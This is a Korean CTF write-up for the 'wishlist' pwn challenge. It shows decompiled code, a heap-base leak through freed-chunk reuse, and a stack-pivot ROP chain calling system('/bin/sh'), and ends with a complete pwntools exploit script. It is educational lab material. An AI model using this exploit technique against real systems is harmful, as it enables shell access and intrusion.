본문으로 바로가기

Analysis

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 int select; // eax

 setup();
 while ( 1 )
{
   menu();
   select = read_str();
   switch ( select )
  {
     case '2':
       show();
       break;
     case '3':
       delete();
       break;
     case '1':
       add();
       break;
  }
}
}

분석하기는 어렵지 않다.

프로그램 내부에는 크개 3가지의 함수가 있다.


add()

_int64 add()
{
 int index; // ebx

 index = global_index;
 ptr[index] = malloc(24uLL);
 printf("wishlist: ");
 read(0, ptr[global_index], 24uLL);
 return (global_index++ + 1);
}

힙은ptr라는 전역변수에서 관리하고, index는 global_index라는 전역변수에서 관리한다.

입력은 0x18만큼 받을 수 있다.


delete()

__int64 delete()
{
 __int64 result; // rax
 int index; // [rsp+Ch] [rbp-4h]

 printf("index: ");
 __isoc99_scanf("%d", &index);
 if ( index < 0 || index > 9 )
   exit(1);
 free(ptr[index]);
 result = index;
 ptr[index] = '\0';
 return result;
}

index에 대한 적잘한 검사를 해서 OOB가 발생하지도 않는다.

그리고 free하고 해당 전역변수에 NULL을 대입해서 DFB나 요런거나 저런거 막는다.


show()

int show()
{
 int index; // [rsp+Ch] [rbp-4h]

 printf("index: ");
 __isoc99_scanf("%d", &index);
 if ( index < 0 || index > 9 )
   exit(1);
 return puts(ptr[index]);
}

그냥 해당 인덱스에 들어가있는 내용을 출력해준다.

이렇게보면 fastbin dup이든 뭐도 못할거같긴 하지만 취약점은 요기에 있다.


read_str()

__int64 read_str()
{
 unsigned __int8 buf; // [rsp+0h] [rbp-10h]

 printf("input: ");
 read(0, &buf, 0x20uLL);
 return buf;
}

보면 딱 하나의 가젯 ( 8bytes ) 만 return address에 덮을 수 있는것을 볼 수 있다.


Leak

일단 heap할당에도 0x18(24)만큼으로 제한되어있다.

즉, heap에서도 가젯을 3개밖에 못쓴다는것이다.

다행히도 바이너리 내부에서 system함수를 꽁으로 던져준다.

그래서 libc_leak은 필요가 없다.

왜냐하면 /bin/sh는 heap에다가 입력해놓고 그 주소를 구하면 되기 때문이다.

그러려면 heap base 를 구해야 하는데 나는 아래와 같이 했다.

1. heap을 3개 할당한다.
2. 0번, 1번 index의 heap을 free한다.
3. heap을 2개 할당한다.
4. UAF에 의해서 free된 0번, 1번 index의 위치에 값이 써진다.
5. 여기서 0번 인덱스에는 어떤 heap의 fd가 써져있다.
6. show()함수로 해당 부분을 보게되면 heap_base를 leak할 수 있다.

그리고 힙에다가 /bin/sh 입력하면 준비는 다 끝났다.


Exploit

익스플로잇은 스택피보팅으로 한다.

read_str()에서 오버플로우를 시킬때 SFP에는 system으로 gadget을 짜 둔 부분 입력하고

return address에는 leave ret가젯을 입력하면 해당 부분으로 rip가 변조된다!

근데 이러면 에러가 난다. 왜냐하면 system함수는 스택을 오지게 쓰기 때문이다.

따라서 힙을 오지게 할당하고 힙의 적당한 부분에다가 system 가젯을 넣어놔야한다.

익스코드를 보장.

from pwn import *

#context.log_level = "debug"

e = ELF("./wishlist")

#r = remote("ctf.j0n9hyun.xyz",3035)
r = process("./wishlist")

ptr = 0x6010e0
pop_rdi = 0x0000000000400b03
pop_rsi = 0x400b01
pop_rbp = 0x4007b0
leave_ret = 0x0000000004008D8
read_main = 0x4008be
jmp_rsp = 0x0000000000400bd3
gift = 0x4008ff
main = 0x400a59

def go(data):
r.sendafter("input: ",data)

def make(data):
r.sendafter("input: ","1")
r.sendafter("wishlist: ",data)

def view(index):
r.sendafter("input: ","2")
r.sendlineafter("index: ",str(index))

def remove(index):
r.sendafter("input: ","3")
r.sendlineafter("index: ",str(index))

make("A")
make("B")
make("C")

remove(0)
remove(1)

make("X")
make("Y")

view(3)
heap_base = u32(r.recv(4)) - 0x58
log.info("heap base : " + hex(heap_base))

binsh = "/bin/sh\x00"
make(binsh)

system = p64(pop_rdi)
system += p64(heap_base + 0x70)
system += p64(e.plt["system"])

for i in range(0,0x110):
if i % 0x10 == 0:
log.info("i : " + hex(i))

if i == 0x100:
make(system)
break;

make("A")

payload = "A" * 0x10
payload += p64(heap_base + 0x2090 - 0x8)
payload += p64(leave_ret)
pause()
go(payload)

r.interactive()

위에서 설명한 그대로이당.